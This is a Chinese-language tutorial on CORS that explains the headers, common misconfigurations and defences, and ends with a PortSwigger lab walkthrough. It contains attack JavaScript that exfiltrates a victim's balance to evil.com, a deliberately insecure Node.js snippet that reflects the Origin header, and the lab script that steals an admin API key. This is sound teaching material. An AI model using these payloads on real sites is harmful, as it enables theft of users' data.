20跨源资源共享【CORS】

## 概述

CORS 全称 Cross-Origin Resource Sharing（跨域资源共享），是浏览器为解决 “跨域请求安全问题” 而制定的一种机制。

它通过服务器返回特定的 HTTP 响应头，允许浏览器放宽 “同源策略” 限制，安全地实现不同域之间的资源访问（如前端 JavaScript 从 A 域请求 B 域的接口数据）。

然而，如果网站的 CORS 策略配置和实施不当，也可能导致跨域攻击，CORS 无法防御跨域攻击，例如跨站请求伪造 (CSRF)。

CORS 的核心是服务器通过响应头明确允许跨域的规则，浏览器根据这些规则判断是否允许前端脚本访问跨域资源。

## 同源策略的限制

浏览器的同源策略（Same-Origin Policy） 是核心安全机制，规定：非同源的网页脚本（如 JavaScript）不能读写对方的资源。

- 同源定义：两个 URL 的协议、域名、端口必须完全相同（如 `https://example.com:443` 与 `https://api.example.com:443` 不同源，因域名不同）。
- 限制场景：若没有同源策略，恶意网站的 JS 可随意请求银行网站的接口（如查询余额），导致敏感数据泄露。

但实际开发中，跨域请求是常见需求（如前端域名 a.com 需要请求后端接口域名 api.b.com 的数据）。CORS 就是为了在安全前提下，让服务器主动声明 “允许哪些域的跨域请求”，从而绕过同源策略限制。

## CORS 的工作原理

CORS 的核心是服务器通过响应头明确允许跨域的规则，浏览器根据这些规则判断是否允许前端脚本访问跨域资源。

流程可分为两种类型：简单请求和预检请求。

### **简单请求（无需预检，直接发送）**

满足以下所有条件的请求为 “简单请求”，浏览器直接发送请求，无需提前检查：

- 请求方法：仅限于 GET、HEAD、POST；
- 请求头：仅包含浏览器默认头或以下字段：Accept、Accept-Language、Content-Language、Content-Type（且值只能是 application/x-www-form-urlencoded、multipart/form-data、text/plain）。

**工作流程**：

1. 前端发送跨域请求（如 `http://a.com` 的 JS 请求 `http://b.com/data`），请求头自动携带 Origin: `http://a.com`（声明来源域）；
2. 服务器收到请求后，检查 Origin 是否在允许的范围内，若允许，返回响应时携带 CORS 相关头（如 Access-Control-Allow-Origin: `http://a.com`）；
3. 浏览器收到响应后，验证 Access-Control-Allow-Origin 是否包含请求的 Origin，若通过，则允许前端脚本访问响应数据；否则，拦截数据，报 CORS 错误。

### **预检请求（Preflight，先检查再发送）**

不满足 “简单请求” 条件的为 “复杂请求”（如使用 PUT/DELETE 方法、自定义请求头 X-Token、Content-Type: application/json 等），浏览器会先发送预检请求（OPTIONS 方法），确认服务器允许后再发送实际请求。

**工作流程**：

浏览器发送预检请求（OPTIONS 方法），携带以下关键头：

- Origin: `http://a.com`（来源域）；
- Access-Control-Request-Method: PUT（告知服务器实际请求的方法）；
- Access-Control-Request-Headers: X-Token（告知服务器实际请求的自定义头）。

服务器响应预检请求，返回允许的规则头：

- Access-Control-Allow-Origin: `http://a.com`（允许的域）；
- Access-Control-Allow-Methods: PUT, GET（允许的方法）；
- Access-Control-Allow-Headers: X-Token（允许的自定义头）；
- Access-Control-Max-Age: 86400（预检结果的缓存时间，单位秒，避免重复预检）。

浏览器验证预检响应：若服务器允许的规则包含实际请求的信息，则发送实际请求；否则，拦截并报 CORS 错误。

## CORS 响应头

服务器通过以下响应头声明跨域规则，是 CORS 机制的核心：

| 响应头                           | 作用                                                         | 示例                                                 | 安全注意事项                                                 |
| -------------------------------- | ------------------------------------------------------------ | ---------------------------------------------------- | ------------------------------------------------------------ |
| Access-Control-Allow-Origin      | 允许跨域请求的来源域（必填）                                 | `http://a.com`（仅允许 a.com *（允许所有域，不推荐） | 若请求带 credentials（如 Cookie），不可用 *，必须指定具体域。 |
| Access-Control-Allow-Methods     | 允许的请求方法（预检请求时返回）                             | GET, POST, PUT                                       | 需包含实际请求使用的方法，避免过度开放（如禁止 DELETE 给非信任域）。 |
| Access-Control-Allow-Headers     | 允许的自定义请求头（预检请求时返回）                         | X-Token, Content-Type                                | 仅列出必要的头，避免开放敏感头（如 Authorization 给不可信域）。 |
| Access-Control-Allow-Credentials | 是否允许跨域请求携带 credentials（如 Cookie、HTTP 认证信息） | true（允许）/false（默认）                           | 设为 true 时，Access-Control-Allow-Origin 必须是具体域（不能是 *）。 |
| Access-Control-Expose-Headers    | 允许前端 JS 访问的响应头（默认仅能访问 Cache-Control 等少数头） | X-Total-Count                                        | 避免暴露敏感头（如 X-Server-Secret）。                       |
| Access-Control-Max-Age           | 预检请求结果的缓存时间（单位：秒）                           | 86400（1 天）                                        | 合理设置缓存时间，减少预检请求次数（但需注意规则变更时的生效延迟）。 |

## 安全风险

CORS 本身是安全机制，但配置不当会引入风险。

CORS（跨域资源共享）配置漏洞的本质是服务器对跨域请求的限制过于宽松或逻辑错误，导致攻击者可通过恶意网站绕过浏览器的同源策略，窃取敏感数据或执行非授权操作。

这类漏洞的危害程度与业务场景强相关，尤其在涉及用户隐私、支付信息等敏感数据的系统中风险极高。

### 错误配置：Access-Control-Allow-Origin: * 与 Credentials: true 共存

> 错误示例：

```http
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```

- *表示允许任意域名发起跨域请求；
- Credentials: true 允许跨域请求携带用户 Cookie、SessionID 等认证信息；

两者结合违反 CORS 规范（浏览器本应拦截此类响应），这种配置相当于 “向全网开放带用户身份的敏感数据访问权限”，是 CORS 中最严重的配置错误之一。

若服务器错误配置导致这种组合生效，则意味着：任何恶意网站（如evil.com）都可向目标服务器发送跨域请求；请求会自动携带用户的登录 Cookie（因Credentials: true允许）；恶意网站的 JS 可直接读取响应中的敏感数据（如用户余额、个人信息）。

> 攻击流程

1. 受害者登录目标网站（如bank.com），浏览器保存登录 Cookie；

2. 攻击者诱导受害者访问恶意网站（evil.com），该网站包含 JS 代码：

```javascript
   // 向目标网站的敏感接口发送跨域请求，携带受害者Cookie
   fetch('https://bank.com/api/user/balance', {
     method: 'GET',
     credentials: 'include' // 强制携带Cookie
   }).then(res => res.json()).then(data => {
     // 将余额数据发送到攻击者服务器
     fetch('https://evil.com/log?data=' + JSON.stringify(data));
   });
   ```

3. 因目标网站 CORS 配置错误，浏览器允许evil.com的 JS 读取响应，攻击者成功窃取受害者余额。

### **2. 错误配置：动态反射请求的Origin头（无白名单校验）**

> 配置示例（错误，以 Node.js 为例）：

```javascript
// 危险逻辑：直接将请求的Origin作为允许的域返回
app.use((req, res) => {
  const origin = req.headers.origin || '*';
  res.setHeader('Access-Control-Allow-Origin', origin); // 无校验，直接反射
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  res.send(userData); // 返回敏感用户数据
});
```

> 漏洞原理：

- 服务器未验证Origin是否可信，直接将请求头中的Origin（如`https://evil.com`）作为Access-Control-Allow-Origin的值返回；
- 等效于 “允许所有域名跨域请求”，但规避了*的限制，可正常结合Credentials: true使用。

> 攻击流程：

1. 攻击者构造Origin: `https://evil.com`的请求，发送到目标网站（如shop.com的订单接口）；
2. 服务器返回Access-Control-Allow-Origin: `https://evil.com`，允许evil.com跨域；
3. 攻击者在evil.com部署恶意页面，诱导受害者访问，JS 代码请求shop.com/api/orders（携带受害者登录 Cookie）；
4. 浏览器验证Origin匹配，允许读取响应，攻击者获取受害者的订单详情。

### **3. 错误配置：开放敏感 HTTP 方法或请求头**

> 配置示例（错误）：

```http
Access-Control-Allow-Origin: https://untrusted-domain.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE  // 包含危险方法
Access-Control-Allow-Headers: Authorization, X-Token  // 包含认证头
```

> 漏洞原理：

向不可信域名开放PUT/DELETE等危险方法，允许其修改 / 删除数据；

开放Authorization、X-Token等敏感头，攻击者可利用这些头执行授权操作。

> 攻击流程：

目标网站（cms.com）允许untrusted-domain.com跨域，并开放DELETE方法；

攻击者在untrusted-domain.com构造页面，通过 JS 发送请求：

```javascript
// 删除受害者的文章（假设已知文章ID）
fetch('https://cms.com/api/articles/123', {
  method: 'DELETE',
  headers: { 'X-Token': '受害者的Token' }, // 若Token可通过其他方式获取
  credentials: 'include'
});
```

受害者访问该页面，JS 执行DELETE请求，导致其文章被删除。

## 典型危害

| 危害类型     | 具体表现                                                     | 影响场景                |
| ------------ | ------------------------------------------------------------ | ----------------------- |
| 敏感数据泄露 | 攻击者获取用户的个人信息、账户余额、订单记录、认证 Token 等。 | 电商、银行、社交平台    |
| 非授权操作   | 篡改用户数据（如修改收货地址）、删除内容（如删除评论）、执行支付 / 转账。 | 支付系统、内容管理系统  |
| 权限边界突破 | 利用可信域的 CORS 权限，结合 XSS 等漏洞，扩大攻击范围（如子域攻击主域）。 | 多域名 / 子域架构的系统 |
| 业务逻辑绕过 | 绕过跨域限制，执行本应禁止的操作（如跨域提交表单、调用内部 API）。 | 所有涉及跨域交互的业务  |

## 防御 CORS 配置漏洞的核心措施

1. 严格限制Access-Control-Allow-Origin

- 禁用*：绝不为包含敏感数据的接口设置Access-Control-Allow-Origin: *；
- 白名单机制：仅允许明确可信的域名（如https://app.example.com）
- 禁止动态反射：不直接将请求的Origin作为响应值返回，必须通过白名单校验。

2. 谨慎处理Credentials

- 仅在业务必需时启用Access-Control-Allow-Credentials: true；
- 启用时，Access-Control-Allow-Origin必须是具体可信域名（不能是*）；
- 敏感操作（如转账）避免依赖 Cookie 认证，改用短期 Token（如 JWT），且 Token 不通过跨域请求自动携带。

3. 限制允许的方法和请求头

- Access-Control-Allow-Methods仅包含业务必需的方法（如GET、POST），禁止向不可信域开放PUT、DELETE；
- Access-Control-Allow-Headers仅列出必要的头（如Content-Type），不开放Authorization、X-Token等敏感头给非信任域。

4. 正确处理预检请求（OPTIONS）

- 确保OPTIONS请求返回完整的 CORS 配置（与实际请求的规则一致）；
- 合理设置Access-Control-Max-Age（如 3600 秒，1 小时），避免过长缓存导致规则更新延迟。

5. 结合其他安全机制

- 跨域请求增加CSRF Token验证，即使 CORS 配置宽松，也需验证 Token；
- 敏感操作（如支付、删除）强制二次验证（如短信验证码）；
- 用 WAF 监控异常跨域请求（如来自陌生Origin的高频请求）。

## 总结

CORS 配置漏洞的核心是 “过度信任不可控的域名”，其利用门槛低（仅需诱导用户访问恶意页面），危害却可能直达业务核心（如数据泄露、财产损失）。

防御的关键是始终以 “最小权限” 为原则，通过白名单严格限制跨域范围，谨慎开放敏感权限，同时结合其他安全机制形成防护闭环。

## 实验

靶机：https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack

已知：该网站的 CORS 配置不安全，因为它信任所有来源。

任务：编写JavaScript代码，使用 CORS 检索管理员的 API 密钥，并将代码上传到你的漏洞利用服务器。成功提交管理员的 API 密钥后，本实验结束。

登录凭证：wiener:peter。

1、使用凭证登录靶机。

![image-20250909170242985](https://oss.maolin101.com/image-20250909170242985.png-101.webp)

登录之后有自己账户的API Key。

2、在burp的请求包历史中，发现了响应api key的数据包。

![image-20250909170416008](https://oss.maolin101.com/image-20250909170416008.png-101.webp)

3、发送到repeater模块，观察响应包。

![image-20250909170511622](https://oss.maolin101.com/image-20250909170511622.png-101.webp)

```txt
Access-Control-Allow-Credentials: true
用于告知浏览器：服务器允许跨域请求携带 “凭证信息”（如 Cookie、HTTP 认证信息、TLS 客户端证书等）。
```

4、添加任意一个源再观察响应包。

```txt
Origin: https://example.com
```

![image-20250909171118650](https://oss.maolin101.com/image-20250909171118650.png-101.webp)

5、使用官网的恶意JavaScript代码

```javascript
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>
```

```javascript
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','0afa0029036433c180286c94006c001d.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>
```

6、点击靶机上方的漏洞利用服务器，将payload添加到body中，再点击查看漏洞利用。

![image-20250909171317368](https://oss.maolin101.com/image-20250909171317368.png-101.webp)

![image-20250909171412966](https://oss.maolin101.com/image-20250909171412966.png-101.webp)

![image-20250909171426582](https://oss.maolin101.com/image-20250909171426582.png-101.webp)

7、返回漏洞利用服务器，点击【Deliverexploit tovictim】，向受害者提供漏洞。

![image-20250909171513696](https://oss.maolin101.com/image-20250909171513696.png-101.webp)